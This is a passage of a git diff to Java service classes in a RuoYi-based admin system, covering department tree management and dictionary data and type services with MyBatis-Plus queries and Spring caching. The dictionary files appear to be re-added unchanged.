org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.service.DeptService; +import org.dromara.common.core.utils.*; +import org.dromara.common.mybatis.helper.DataBaseHelper; +import org.dromara.common.redis.utils.CacheUtils; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.system.domain.SysDept; +import org.dromara.system.domain.SysRole; +import org.dromara.system.domain.SysUser; +import org.dromara.system.domain.bo.SysDeptBo; +import org.dromara.system.domain.vo.SysDeptVo; +import org.dromara.system.mapper.SysDeptMapper; +import org.dromara.system.mapper.SysRoleMapper; +import org.dromara.system.mapper.SysUserMapper; +import org.dromara.system.service.ISysDeptService; +import org.springframework.cache.annotation.CacheEvict; +import org.springframework.cache.annotation.Cacheable; +import org.springframework.cache.annotation.Caching; +import org.springframework.stereotype.Service; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +/** + * 部门管理 服务实现 + * + * @author Lion Li + */ +@RequiredArgsConstructor +@Service +public class SysDeptServiceImpl implements ISysDeptService, DeptService { + + private final SysDeptMapper baseMapper; + private final SysRoleMapper roleMapper; + private final SysUserMapper userMapper; + + /** + * 查询部门管理数据 + * + * @param dept 部门信息 + * @return 部门信息集合 + */ + @Override + public List selectDeptList(SysDeptBo dept) { + LambdaQueryWrapper lqw = buildQueryWrapper(dept); + return baseMapper.selectDeptList(lqw); + } + + /** + * 查询部门树结构信息 + * + * @param bo 部门信息 + * @return 部门树信息集合 + */ + @Override + public List> selectDeptTreeList(SysDeptBo bo) { + // 只查询未禁用部门 + bo.setStatus(SystemConstants.NORMAL); + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + List depts = baseMapper.selectDeptList(lqw); + return buildDeptTreeSelect(depts); + } + + private LambdaQueryWrapper buildQueryWrapper(SysDeptBo bo) { + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.eq(SysDept::getDelFlag, SystemConstants.NORMAL); + lqw.eq(ObjectUtil.isNotNull(bo.getDeptId()), SysDept::getDeptId, bo.getDeptId()); + lqw.eq(ObjectUtil.isNotNull(bo.getParentId()), SysDept::getParentId, bo.getParentId()); + lqw.like(StringUtils.isNotBlank(bo.getDeptName()), SysDept::getDeptName, bo.getDeptName()); + lqw.like(StringUtils.isNotBlank(bo.getDeptCategory()), SysDept::getDeptCategory, bo.getDeptCategory()); + lqw.eq(StringUtils.isNotBlank(bo.getStatus()), SysDept::getStatus, bo.getStatus()); + lqw.orderByAsc(SysDept::getAncestors); + lqw.orderByAsc(SysDept::getParentId); + lqw.orderByAsc(SysDept::getOrderNum); + lqw.orderByAsc(SysDept::getDeptId); + return lqw; + } + + /** + * 构建前端所需要下拉树结构 + * + * @param depts 部门列表 + * @return 下拉树结构列表 + */ + @Override + public List> buildDeptTreeSelect(List depts) { + if (CollUtil.isEmpty(depts)) { + return CollUtil.newArrayList(); + } + // 获取当前列表中每一个节点的parentId,然后在列表中查找是否有id与其parentId对应,若无对应,则表明此时节点列表中,该节点在当前列表中属于顶级节点 + List> treeList = CollUtil.newArrayList(); + for (SysDeptVo d : depts) { + Long parentId = d.getParentId(); + SysDeptVo sysDeptVo = StreamUtils.findFirst(depts, it -> it.getDeptId().longValue() == parentId); + if (ObjectUtil.isNull(sysDeptVo)) { + List> trees = TreeBuildUtils.build(depts, parentId, (dept, tree) -> + tree.setId(dept.getDeptId()) + .setParentId(dept.getParentId()) + .setName(dept.getDeptName()) + .setWeight(dept.getOrderNum())); + Tree tree = trees.stream().filter(it -> it.getId().longValue() == d.getDeptId()).findFirst().get(); + treeList.add(tree); + } + } + return treeList; + } + + /** + * 根据角色ID查询部门树信息 + * + * @param roleId 角色ID + * @return 选中部门列表 + */ + @Override + public List selectDeptListByRoleId(Long roleId) { + SysRole role = roleMapper.selectById(roleId); + return baseMapper.selectDeptListByRoleId(roleId, role.getDeptCheckStrictly()); + } + + /** + * 根据部门ID查询信息 + * + * @param deptId 部门ID + * @return 部门信息 + */ + @Cacheable(cacheNames = CacheNames.SYS_DEPT, key = "#deptId") + @Override + public SysDeptVo selectDeptById(Long deptId) { + SysDeptVo dept = baseMapper.selectVoById(deptId); + if (ObjectUtil.isNull(dept)) { + return null; + } + SysDeptVo parentDept = baseMapper.selectVoOne(new LambdaQueryWrapper() + .select(SysDept::getDeptName).eq(SysDept::getDeptId, dept.getParentId())); + dept.setParentName(ObjectUtils.notNullGetter(parentDept, SysDeptVo::getDeptName)); + return dept; + } + + @Override + public List selectDeptByIds(List deptIds) { + return baseMapper.selectDeptList(new LambdaQueryWrapper() + .select(SysDept::getDeptId, SysDept::getDeptName, SysDept::getLeader) + .eq(SysDept::getStatus, SystemConstants.NORMAL) + .in(CollUtil.isNotEmpty(deptIds), SysDept::getDeptId, deptIds)); + } + + /** + * 通过部门ID查询部门名称 + * + * @param deptIds 部门ID串逗号分隔 + * @return 部门名称串逗号分隔 + */ + @Override + public String selectDeptNameByIds(String deptIds) { + List list = new ArrayList<>(); + for (Long id : StringUtils.splitTo(deptIds, Convert::toLong)) { + SysDeptVo vo = SpringUtils.getAopProxy(this).selectDeptById(id); + if (ObjectUtil.isNotNull(vo)) { + list.add(vo.getDeptName()); + } + } + return String.join(StringUtils.SEPARATOR, list); + } + + /** + * 根据ID查询所有子部门数(正常状态) + * + * @param deptId 部门ID + * @return 子部门数 + */ + @Override + public long selectNormalChildrenDeptById(Long deptId) { + return baseMapper.selectCount(new LambdaQueryWrapper() + .eq(SysDept::getStatus, SystemConstants.NORMAL) + .apply(DataBaseHelper.findInSet(deptId, "ancestors"))); + } + + /** + * 是否存在子节点 + * + * @param deptId 部门ID + * @return 结果 + */ + @Override + public boolean hasChildByDeptId(Long deptId) { + return baseMapper.exists(new LambdaQueryWrapper() + .eq(SysDept::getParentId, deptId)); + } + + /** + * 查询部门是否存在用户 + * + * @param deptId 部门ID + * @return 结果 true 存在 false 不存在 + */ + @Override + public boolean checkDeptExistUser(Long deptId) { + return userMapper.exists(new LambdaQueryWrapper() + .eq(SysUser::getDeptId, deptId)); + } + + /** + * 校验部门名称是否唯一 + * + * @param dept 部门信息 + * @return 结果 + */ + @Override + public boolean checkDeptNameUnique(SysDeptBo dept) { + boolean exist = baseMapper.exists(new LambdaQueryWrapper() + .eq(SysDept::getDeptName, dept.getDeptName()) + .eq(SysDept::getParentId, dept.getParentId()) + .ne(ObjectUtil.isNotNull(dept.getDeptId()), SysDept::getDeptId, dept.getDeptId())); + return !exist; + } + + /** + * 校验部门是否有数据权限 + * + * @param deptId 部门id + */ + @Override + public void checkDeptDataScope(Long deptId) { + if (ObjectUtil.isNull(deptId)) { + return; + } + if (LoginHelper.isSuperAdmin()) { + return; + } + if (baseMapper.countDeptById(deptId) == 0) { + throw new ServiceException("没有权限访问部门数据!"); + } + } + + /** + * 新增保存部门信息 + * + * @param bo 部门信息 + * @return 结果 + */ + @CacheEvict(cacheNames = CacheNames.SYS_DEPT_AND_CHILD, allEntries = true) + @Override + public int insertDept(SysDeptBo bo) { + SysDept info = baseMapper.selectById(bo.getParentId()); + // 如果父节点不为正常状态,则不允许新增子节点 + if (!SystemConstants.NORMAL.equals(info.getStatus())) { + throw new ServiceException("部门停用,不允许新增"); + } + SysDept dept = MapstructUtils.convert(bo, SysDept.class); + dept.setAncestors(info.getAncestors() + StringUtils.SEPARATOR + dept.getParentId()); + return baseMapper.insert(dept); + } + + /** + * 修改保存部门信息 + * + * @param bo 部门信息 + * @return 结果 + */ + @Caching(evict = { + @CacheEvict(cacheNames = CacheNames.SYS_DEPT, key = "#bo.deptId"), + @CacheEvict(cacheNames = CacheNames.SYS_DEPT_AND_CHILD, allEntries = true) + }) + @Override + public int updateDept(SysDeptBo bo) { + SysDept dept = MapstructUtils.convert(bo, SysDept.class); + SysDept oldDept = baseMapper.selectById(dept.getDeptId()); + if (ObjectUtil.isNull(oldDept)) { + throw new ServiceException("部门不存在,无法修改"); + } + if (!oldDept.getParentId().equals(dept.getParentId())) { + // 如果是新父部门 则校验是否具有新父部门权限 避免越权 + this.checkDeptDataScope(dept.getParentId()); + SysDept newParentDept = baseMapper.selectById(dept.getParentId()); + if (ObjectUtil.isNotNull(newParentDept)) { + String newAncestors = newParentDept.getAncestors() + StringUtils.SEPARATOR + newParentDept.getDeptId(); + String oldAncestors = oldDept.getAncestors(); + dept.setAncestors(newAncestors); + updateDeptChildren(dept.getDeptId(), newAncestors, oldAncestors); + } + } else { + dept.setAncestors(oldDept.getAncestors()); + } + int result = baseMapper.updateById(dept); + if (SystemConstants.NORMAL.equals(dept.getStatus()) && StringUtils.isNotEmpty(dept.getAncestors()) + && !StringUtils.equals(SystemConstants.NORMAL, dept.getAncestors())) { + // 如果该部门是启用状态,则启用该部门的所有上级部门 + updateParentDeptStatusNormal(dept); + } + return result; + } + + /** + * 修改该部门的父级部门状态 + * + * @param dept 当前部门 + */ + private void updateParentDeptStatusNormal(SysDept dept) { + String ancestors = dept.getAncestors(); + Long[] deptIds = Convert.toLongArray(ancestors); + baseMapper.update(null, new LambdaUpdateWrapper() + .set(SysDept::getStatus, SystemConstants.NORMAL) + .in(SysDept::getDeptId, Arrays.asList(deptIds))); + } + + /** + * 修改子元素关系 + * + * @param deptId 被修改的部门ID + * @param newAncestors 新的父ID集合 + * @param oldAncestors 旧的父ID集合 + */ + private void updateDeptChildren(Long deptId, String newAncestors, String oldAncestors) { + List children = baseMapper.selectList(new LambdaQueryWrapper() + .apply(DataBaseHelper.findInSet(deptId, "ancestors"))); + List list = new ArrayList<>(); + for (SysDept child : children) { + SysDept dept = new SysDept(); + dept.setDeptId(child.getDeptId()); + dept.setAncestors(child.getAncestors().replaceFirst(oldAncestors, newAncestors)); + list.add(dept); + } + if (CollUtil.isNotEmpty(list)) { + if (baseMapper.updateBatchById(list)) { + list.forEach(dept -> CacheUtils.evict(CacheNames.SYS_DEPT, dept.getDeptId())); + } + } + } + + /** + * 删除部门管理信息 + * + * @param deptId 部门ID + * @return 结果 + */ + @Caching(evict = { + @CacheEvict(cacheNames = CacheNames.SYS_DEPT, key = "#deptId"), + @CacheEvict(cacheNames = CacheNames.SYS_DEPT_AND_CHILD, key = "#deptId") + }) + @Override + public int deleteDeptById(Long deptId) { + return baseMapper.deleteById(deptId); + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysDictDataServiceImpl.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysDictDataServiceImpl.java index a0f8b56..43910e4 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysDictDataServiceImpl.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysDictDataServiceImpl.java @@ -1,157 +1,157 @@ -package org.dromara.system.service.impl; - -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.CacheNames; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.ObjectUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.redis.utils.CacheUtils; -import org.dromara.system.domain.SysDictData; -import org.dromara.system.domain.bo.SysDictDataBo; -import org.dromara.system.domain.vo.SysDictDataVo; -import org.dromara.system.mapper.SysDictDataMapper; -import org.dromara.system.service.ISysDictDataService; -import org.springframework.cache.annotation.CachePut; -import org.springframework.stereotype.Service; - -import java.util.List; - -/** - * 字典 业务层处理 - * - * @author Lion Li - */ -@RequiredArgsConstructor -@Service -public class SysDictDataServiceImpl implements ISysDictDataService { - - private final SysDictDataMapper baseMapper; - - @Override - public TableDataInfo selectPageDictDataList(SysDictDataBo dictData, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(dictData); - Page page = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(page); - } - - /** - * 根据条件分页查询字典数据 - * - * @param dictData 字典数据信息 - * @return 字典数据集合信息 - */ - @Override - public List selectDictDataList(SysDictDataBo dictData) { - LambdaQueryWrapper lqw = buildQueryWrapper(dictData); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(SysDictDataBo bo) { - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.eq(bo.getDictSort() != null, SysDictData::getDictSort, bo.getDictSort()); - lqw.like(StringUtils.isNotBlank(bo.getDictLabel()), SysDictData::getDictLabel, bo.getDictLabel()); - lqw.eq(StringUtils.isNotBlank(bo.getDictType()), SysDictData::getDictType, bo.getDictType()); - lqw.orderByAsc(SysDictData::getDictSort); - return lqw; - } - - /** - * 根据字典类型和字典键值查询字典数据信息 - * - * @param dictType 字典类型 - * @param dictValue 字典键值 - * @return 字典标签 - */ - @Override - public String selectDictLabel(String dictType, String dictValue) { - return baseMapper.selectOne(new LambdaQueryWrapper() - .select(SysDictData::getDictLabel) - .eq(SysDictData::getDictType, dictType) - .eq(SysDictData::getDictValue, dictValue)) - .getDictLabel(); - } - - /** - * 根据字典数据ID查询信息 - * - * @param dictCode 字典数据ID - * @return 字典数据 - */ - @Override - public SysDictDataVo selectDictDataById(Long dictCode) { - return baseMapper.selectVoById(dictCode); - } - - /** - * 批量删除字典数据信息 - * - * @param dictCodes 需要删除的字典数据ID - */ - @Override - public void deleteDictDataByIds(Long[] dictCodes) { - for (Long dictCode : dictCodes) { - SysDictData data = baseMapper.selectById(dictCode); - baseMapper.deleteById(dictCode); - CacheUtils.evict(CacheNames.SYS_DICT, data.getDictType()); - } - } - - /** - * 新增保存字典数据信息 - * - * @param bo 字典数据信息 - * @return 结果 - */ - @CachePut(cacheNames = CacheNames.SYS_DICT, key = "#bo.dictType") - @Override - public List insertDictData(SysDictDataBo bo) { - SysDictData data = MapstructUtils.convert(bo, SysDictData.class); - int row = baseMapper.insert(data); - if (row > 0) { - return baseMapper.selectDictDataByType(data.getDictType()); - } - throw new ServiceException("操作失败"); - } - - /** - * 修改保存字典数据信息 - * - * @param bo 字典数据信息 - * @return 结果 - */ - @CachePut(cacheNames = CacheNames.SYS_DICT, key = "#bo.dictType") - @Override - public List updateDictData(SysDictDataBo bo) { - SysDictData data = MapstructUtils.convert(bo, SysDictData.class); - int row = baseMapper.updateById(data); - if (row > 0) { - return baseMapper.selectDictDataByType(data.getDictType()); - } - throw new ServiceException("操作失败"); - } - - /** - * 校验字典键值是否唯一 - * - * @param dict 字典数据 - * @return 结果 - */ - @Override - public boolean checkDictDataUnique(SysDictDataBo dict) { - Long dictCode = ObjectUtils.notNull(dict.getDictCode(), -1L); - SysDictData entity = baseMapper.selectOne(new LambdaQueryWrapper() - .eq(SysDictData::getDictType, dict.getDictType()).eq(SysDictData::getDictValue, dict.getDictValue())); - if (ObjectUtil.isNotNull(entity) && !dictCode.equals(entity.getDictCode())) { - return false; - } - return true; - } - -} +package org.dromara.system.service.impl; + +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.CacheNames; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.ObjectUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.redis.utils.CacheUtils; +import org.dromara.system.domain.SysDictData; +import org.dromara.system.domain.bo.SysDictDataBo; +import org.dromara.system.domain.vo.SysDictDataVo; +import org.dromara.system.mapper.SysDictDataMapper; +import org.dromara.system.service.ISysDictDataService; +import org.springframework.cache.annotation.CachePut; +import org.springframework.stereotype.Service; + +import java.util.List; + +/** + * 字典 业务层处理 + * + * @author Lion Li + */ +@RequiredArgsConstructor +@Service +public class SysDictDataServiceImpl implements ISysDictDataService { + + private final SysDictDataMapper baseMapper; + + @Override + public TableDataInfo selectPageDictDataList(SysDictDataBo dictData, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(dictData); + Page page = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(page); + } + + /** + * 根据条件分页查询字典数据 + * + * @param dictData 字典数据信息 + * @return 字典数据集合信息 + */ + @Override + public List selectDictDataList(SysDictDataBo dictData) { + LambdaQueryWrapper lqw = buildQueryWrapper(dictData); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(SysDictDataBo bo) { + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.eq(bo.getDictSort() != null, SysDictData::getDictSort, bo.getDictSort()); + lqw.like(StringUtils.isNotBlank(bo.getDictLabel()), SysDictData::getDictLabel, bo.getDictLabel()); + lqw.eq(StringUtils.isNotBlank(bo.getDictType()), SysDictData::getDictType, bo.getDictType()); + lqw.orderByAsc(SysDictData::getDictSort); + return lqw; + } + + /** + * 根据字典类型和字典键值查询字典数据信息 + * + * @param dictType 字典类型 + * @param dictValue 字典键值 + * @return 字典标签 + */ + @Override + public String selectDictLabel(String dictType, String dictValue) { + return baseMapper.selectOne(new LambdaQueryWrapper() + .select(SysDictData::getDictLabel) + .eq(SysDictData::getDictType, dictType) + .eq(SysDictData::getDictValue, dictValue)) + .getDictLabel(); + } + + /** + * 根据字典数据ID查询信息 + * + * @param dictCode 字典数据ID + * @return 字典数据 + */ + @Override + public SysDictDataVo selectDictDataById(Long dictCode) { + return baseMapper.selectVoById(dictCode); + } + + /** + * 批量删除字典数据信息 + * + * @param dictCodes 需要删除的字典数据ID + */ + @Override + public void deleteDictDataByIds(Long[] dictCodes) { + for (Long dictCode : dictCodes) { + SysDictData data = baseMapper.selectById(dictCode); + baseMapper.deleteById(dictCode); + CacheUtils.evict(CacheNames.SYS_DICT, data.getDictType()); + } + } + + /** + * 新增保存字典数据信息 + * + * @param bo 字典数据信息 + * @return 结果 + */ + @CachePut(cacheNames = CacheNames.SYS_DICT, key = "#bo.dictType") + @Override + public List insertDictData(SysDictDataBo bo) { + SysDictData data = MapstructUtils.convert(bo, SysDictData.class); + int row = baseMapper.insert(data); + if (row > 0) { + return baseMapper.selectDictDataByType(data.getDictType()); + } + throw new ServiceException("操作失败"); + } + + /** + * 修改保存字典数据信息 + * + * @param bo 字典数据信息 + * @return 结果 + */ + @CachePut(cacheNames = CacheNames.SYS_DICT, key = "#bo.dictType") + @Override + public List updateDictData(SysDictDataBo bo) { + SysDictData data = MapstructUtils.convert(bo, SysDictData.class); + int row = baseMapper.updateById(data); + if (row > 0) { + return baseMapper.selectDictDataByType(data.getDictType()); + } + throw new ServiceException("操作失败"); + } + + /** + * 校验字典键值是否唯一 + * + * @param dict 字典数据 + * @return 结果 + */ + @Override + public boolean checkDictDataUnique(SysDictDataBo dict) { + Long dictCode = ObjectUtils.notNull(dict.getDictCode(), -1L); + SysDictData entity = baseMapper.selectOne(new LambdaQueryWrapper() + .eq(SysDictData::getDictType, dict.getDictType()).eq(SysDictData::getDictValue, dict.getDictValue())); + if (ObjectUtil.isNotNull(entity) && !dictCode.equals(entity.getDictCode())) { + return false; + } + return true; + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysDictTypeServiceImpl.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysDictTypeServiceImpl.java index 5390aa3..d9fa366 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysDictTypeServiceImpl.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysDictTypeServiceImpl.java @@ -1,259 +1,259 @@ -package org.dromara.system.service.impl; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.CacheNames; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.service.DictService; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.redis.utils.CacheUtils; -import org.dromara.system.domain.SysDictData; -import org.dromara.system.domain.SysDictType; -import org.dromara.system.domain.bo.SysDictTypeBo; -import org.dromara.system.domain.vo.SysDictDataVo; -import org.dromara.system.domain.vo.SysDictTypeVo; -import org.dromara.system.mapper.SysDictDataMapper; -import org.dromara.system.mapper.SysDictTypeMapper; -import org.dromara.system.service.ISysDictTypeService; -import org.springframework.cache.annotation.CachePut; -import org.springframework.cache.annotation.Cacheable; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; - -import java.util.ArrayList; -import java.util.Arrays; -import java.util.List; -import java.util.Map; -import java.util.stream.Collectors; - -/** - * 字典 业务层处理 - * - * @author Lion Li - */ -@RequiredArgsConstructor -@Service -public class SysDictTypeServiceImpl implements ISysDictTypeService, DictService { - - private final SysDictTypeMapper baseMapper; - private final SysDictDataMapper dictDataMapper; - - @Override - public TableDataInfo selectPageDictTypeList(SysDictTypeBo dictType, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(dictType); - lqw.orderByDesc(SysDictType::getDictId); - Page page = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(page); - } - - /** - * 根据条件分页查询字典类型 - * - * @param dictType 字典类型信息 - * @return 字典类型集合信息 - */ - @Override - public List selectDictTypeList(SysDictTypeBo dictType) { - LambdaQueryWrapper lqw = buildQueryWrapper(dictType); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(SysDictTypeBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.like(StringUtils.isNotBlank(bo.getDictName()), SysDictType::getDictName, bo.getDictName()); - lqw.like(StringUtils.isNotBlank(bo.getDictType()), SysDictType::getDictType, bo.getDictType()); - lqw.between(params.get("beginTime") != null && params.get("endTime") != null, - SysDictType::getCreateTime, params.get("beginTime"), params.get("endTime")); - lqw.orderByAsc(SysDictType::getDictId); - return lqw; - } - - /** - * 根据所有字典类型 - * - * @return 字典类型集合信息 - */ - @Override - public List selectDictTypeAll() { - return baseMapper.selectVoList(); - } - - /** - * 根据字典类型查询字典数据 - * - * @param dictType 字典类型 - * @return 字典数据集合信息 - */ - @Cacheable(cacheNames = CacheNames.SYS_DICT, key = "#dictType") - @Override - public List selectDictDataByType(String dictType) { - List dictDatas = dictDataMapper.selectDictDataByType(dictType); - if (CollUtil.isNotEmpty(dictDatas)) { - return dictDatas; - } - return null; - } - - /** - * 根据字典类型ID查询信息 - * - * @param dictId 字典类型ID - * @return 字典类型 - */ - @Override - public SysDictTypeVo selectDictTypeById(Long dictId) { - return baseMapper.selectVoById(dictId); - } - - /** - * 根据字典类型查询信息 - * - * @param dictType 字典类型 - * @return 字典类型 - */ - @Override - public SysDictTypeVo selectDictTypeByType(String dictType) { - return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(SysDictType::getDictType, dictType)); - } - - /** - * 批量删除字典类型信息 - * - * @param dictIds 需要删除的字典ID - */ - @Override - public void deleteDictTypeByIds(Long[] dictIds) { - for (Long dictId : dictIds) { - SysDictType dictType = baseMapper.selectById(dictId); - if (dictDataMapper.exists(new LambdaQueryWrapper() - .eq(SysDictData::getDictType, dictType.getDictType()))) { - throw new ServiceException(String.format("%1$s已分配,不能删除", dictType.getDictName())); - } - CacheUtils.evict(CacheNames.SYS_DICT, dictType.getDictType()); - } - baseMapper.deleteByIds(Arrays.asList(dictIds)); - } - - /** - * 重置字典缓存数据 - */ - @Override - public void resetDictCache() { - CacheUtils.clear(CacheNames.SYS_DICT); - } - - /** - * 新增保存字典类型信息 - * - * @param bo 字典类型信息 - * @return 结果 - */ - @CachePut(cacheNames = CacheNames.SYS_DICT, key = "#bo.dictType") - @Override - public List insertDictType(SysDictTypeBo bo) { - SysDictType dict = MapstructUtils.convert(bo, SysDictType.class); - int row = baseMapper.insert(dict); - if (row > 0) { - // 新增 type 下无 data 数据 返回空防止缓存穿透 - return new ArrayList<>(); - } - throw new ServiceException("操作失败"); - } - - /** - * 修改保存字典类型信息 - * - * @param bo 字典类型信息 - * @return 结果 - */ - @CachePut(cacheNames = CacheNames.SYS_DICT, key = "#bo.dictType") - @Override - @Transactional(rollbackFor = Exception.class) - public List updateDictType(SysDictTypeBo bo) { - SysDictType dict = MapstructUtils.convert(bo, SysDictType.class); - SysDictType oldDict = baseMapper.selectById(dict.getDictId()); - dictDataMapper.update(null, new LambdaUpdateWrapper() - .set(SysDictData::getDictType, dict.getDictType()) - .eq(SysDictData::getDictType, oldDict.getDictType())); - int row = baseMapper.updateById(dict); - if (row > 0) { - CacheUtils.evict(CacheNames.SYS_DICT, oldDict.getDictType()); - return dictDataMapper.selectDictDataByType(dict.getDictType()); - } - throw new ServiceException("操作失败"); - } - - /** - * 校验字典类型称是否唯一 - * - * @param dictType 字典类型 - * @return 结果 - */ - @Override - public boolean checkDictTypeUnique(SysDictTypeBo dictType) { - boolean exist = baseMapper.exists(new LambdaQueryWrapper() - .eq(SysDictType::getDictType, dictType.getDictType()) - .ne(ObjectUtil.isNotNull(dictType.getDictId()), SysDictType::getDictId, dictType.getDictId())); - return !exist; - } - - /** - * 根据字典类型和字典值获取字典标签 - * - * @param dictType 字典类型 - * @param dictValue 字典值 - * @param separator 分隔符 - * @return 字典标签 - */ - @Override - public String getDictLabel(String dictType, String dictValue, String separator) { - List datas = SpringUtils.getAopProxy(this).selectDictDataByType(dictType); - Map map = StreamUtils.toMap(datas, SysDictDataVo::getDictValue, SysDictDataVo::getDictLabel); - if (StringUtils.containsAny(dictValue, separator)) { - return Arrays.stream(dictValue.split(separator)) - .map(v -> map.getOrDefault(v, StringUtils.EMPTY)) - .collect(Collectors.joining(separator)); - } else { - return map.getOrDefault(dictValue, StringUtils.EMPTY); - } - } - - /** - * 根据字典类型和字典标签获取字典值 - * - * @param dictType 字典类型 - * @param dictLabel 字典标签 - * @param separator 分隔符 - * @return 字典值 - */ - @Override - public String getDictValue(String dictType, String dictLabel, String separator) { - List datas = SpringUtils.getAopProxy(this).selectDictDataByType(dictType); - Map map = StreamUtils.toMap(datas, SysDictDataVo::getDictLabel, SysDictDataVo::getDictValue); - if (StringUtils.containsAny(dictLabel, separator)) { - return Arrays.stream(dictLabel.split(separator)) - .map(l -> map.getOrDefault(l, StringUtils.EMPTY)) - .collect(Collectors.joining(separator)); - } else { - return map.getOrDefault(dictLabel, StringUtils.EMPTY); - } - } - - @Override - public Map getAllDictByDictType(String dictType) { - List list = selectDictDataByType(dictType); - return StreamUtils.toMap(list, SysDictDataVo::getDictValue, SysDictDataVo::getDictLabel); - } - -} +package org.dromara.system.service.impl; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.constant.CacheNames; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.service.DictService; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.redis.utils.CacheUtils; +import org.dromara.system.domain.SysDictData; +import org.dromara.system.domain.SysDictType; +import org.dromara.system.domain.bo.SysDictTypeBo; +import org.dromara.system.domain.vo.SysDictDataVo; +import org.dromara.system.domain.vo.SysDictTypeVo; +import org.dromara.system.mapper.SysDictDataMapper; +import org.dromara.system.mapper.SysDictTypeMapper; +import org.dromara.system.service.ISysDictTypeService; +import org.springframework.cache.annotation.CachePut; +import org.springframework.cache.annotation.Cacheable; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; + +/** + * 字典 业务层处理 + * + * @author Lion Li + */ +@RequiredArgsConstructor +@Service +public class SysDictTypeServiceImpl implements ISysDictTypeService, DictService { + + private final SysDictTypeMapper baseMapper; + private final SysDictDataMapper dictDataMapper; + + @Override + public TableDataInfo selectPageDictTypeList(SysDictTypeBo dictType, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(dictType); + lqw.orderByDesc(SysDictType::getDictId); + Page page = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(page); + } + + /** + * 根据条件分页查询字典类型 + * + * @param dictType 字典类型信息 + * @return 字典类型集合信息 + */ + @Override + public List selectDictTypeList(SysDictTypeBo dictType) { + LambdaQueryWrapper lqw = buildQueryWrapper(dictType); + return baseMapper.selectVoList(lqw); + } + + private 